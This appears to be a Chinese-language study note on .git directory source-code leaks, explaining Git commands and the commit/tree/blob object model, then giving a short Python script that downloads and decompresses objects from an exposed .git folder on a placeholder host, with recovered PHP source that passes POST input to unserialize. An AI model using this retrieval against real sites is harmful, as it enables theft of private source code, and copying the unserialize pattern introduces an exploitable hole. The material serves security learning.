.git 源码泄露
.git信息泄露漏洞-简明原理及利用方法 - FreeBuf网络安全行业门户
Git信息泄露原理解析及利用总结 - FreeBuf网络安全行业门户
commit、tree和blob三个对象之间的关系|Git (geek-docs.com)
参考源于上面师傅文章,引用以作学习之用!
git 简单使用
Git常用命令实操
1. 工程准备 git init/git clone
2. 新增/删除/移动文件到暂存区 git add/ git rm/ git mv
3. 查看工作区 git diff/ git status
4. 提交更改的文件 git commit
5. 查看日志 git log
6. 推送远端仓库 git push
7. 分支管理 git branch/git checkout /git branch –d/git pull
8. 分支合并 git merge/git rebase
9. 强制回退到历史节点 git reset/git checkout .
Git版本控制下的工程区域
只有三种:
1.版本库( Repository )
在工作区中有一个隐藏目录.git,这个文件夹就是Git的版本库,里面存放了Git用来管理该工程的所有版本数据,也可以叫本地仓库。
2.工作区( Working Directory )
日常工作的代码文件或者文档所在的文件夹。
3.暂存区( stage )
一般存放在工程根目录 .git/index文件中,所以我们也可以把暂存区叫作索引(index)。
Git版本控制下的文件状态
只有三种:
1.已提交( committed )
该文件已经被安全地保存在本地数据库中了;
2.已修改(modified)
修改了某个文件,但还没有提交保存;
3.已暂存(staged)
把已修改的文件放在下次提交时要保存的清单中。
Git 常用命令使用
工程准备
工程克隆—— git clone
查看工作区
查看工作区的修改内容—— git diff
查看工作区文件状态—— git status
文件修改后提交推送
新增/删除/移动文件到暂存区—— git add/ git rm/ git mv
提交更改的文件—— git commit
推送远端仓库—— git push
查看日志
查看当前分支上的提交日志—— git log
分支管理
列出本地分支—— git branch
新建分支—— git branch / git checkout –b
删除分支—— git branch –d
切换分支—— git checkout
更新分支—— git pull
合并分支—— git merge
撤销操作
强制回退到历史节点—— git reset
回退本地所有修改而未提交的—— git checkout
分支合并
合并目标分支内容到当前分支—— git merge/git rebase
.git 源码泄露原理
commit、tree和blob三个对象之间的关系
objects 文件夹
.git下的objects文件夹是用来存放所有被追踪的git对象的,每个git对象所对应的hash值的头两位会变为文件夹,剩下的变为文件名,保存在这里。
我们想下载源码、文件,都是通过这个文件夹。通过目标文件的hash值,这样就能在objects下找到目标文件。
结合上述信息,通过下面脚本找到目标文件。
import zlib
import requests
url = "http://X.X.X.X:8000/.git/objects/12/6b3a8415dd1de4bd81087ccae3ae5de392f49a"
# /12/6b3a8415dd1de4bd81087ccae3ae5de392f49a
# /31/aa1c87420f57ff17c165406d4d68c27c3c828e
# /1e/ff285895bcd12915619952e04b67c354351cec
re = requests.get(url)
ss = re.content
word = zlib.decompress(ss)
print (word)
# b'tag 159\x00object 31aa1c87420f57ff17c165406d4d68c27c3c828e\ntype commit\ntag 1.0-rc2\ntagger xxxxxxx <[email protected]> 1409401628 +0800\n\nReleased on 2014/08/30\n'
文件里包含了一个tree对象的hash值(31aa1c87420f57ff17c165406d4d68c27c3c828e),和文件的身份作者([email protected])
我们现在可以用tree的hash值去,得到这个tree对象文件的内容【这里存在重复套娃,hash链条式的查找直到看到项目文件】【这里其实就是子文件夹的关系】
如下:
b"tree 213\x00100755 cardapi.php\x00\xc3\xffk\x95\xa1?\x87\xf8#\xf5TD\x8e\xf6~\xb2\x02%Y\xb940000 conf\x00\x1a \xe3\xd1\x10\xe7\xf9z\x1f\x91<\xdeb\xb3\xf2&\xef\x94\xf9\xa840000 core\x004WAF\xe1\x93\xabJ\x89\xb6+\xc3U\xfd\xfd\xe3\x84\x11\xe8^40000 model\x00\xf0%\xd8\x98m'\x00\xa5\xcc\xd3\xb1\xe0GUy\xeb0\xaf9.100755 recordapi.php\x00!\xc3\x15\xf3\xb4\xdb\xa9\xa0\xe3L\xdc1\xb0a/O\x01{\x92\xe3100755 userapi.php\x00\x1a\x8ebD)\xf1\x8d8\x1dG\xad\xec\xd7;\xb0\xbd\rK`\xfc"
到这里可以看到具体文件啦!
例如 cardapi.php:
http://X.X.X.X:8000/.git/objects/c3/ff6b95a13f87f823f554448ef67eb2022559b9
用上述脚本即可获得源码:
b"blob 272\x00<?php\nrequire('./core/zx.class.php');\n$api = new api();\n\n//\xe5\x8f\x8d\xe5\xba\x8f\xe5\x88\x97\xe5\x8c\x96\n$_POST['users'] = unserialize($_POST['users']);\n\n\n//\xe8\xb0\x83\xe7\x94\xa8\xe6\x8e\xa5\xe5\x8f\xa3\n$api->actionCardInfo($_POST);\n\n//\xe8\xb0\x83\xe7\x94\xa8\xe7\xbb\x93\xe6\x9e\x9c\n$result = $api->actionGetResult();\n\n//\xe8\xbe\x93\xe6\xb5\x8f\xe8\xa7\x88\xe5\x99\xa8\nprint_r(json_encode($result));\n\n\n\n\n\n?>"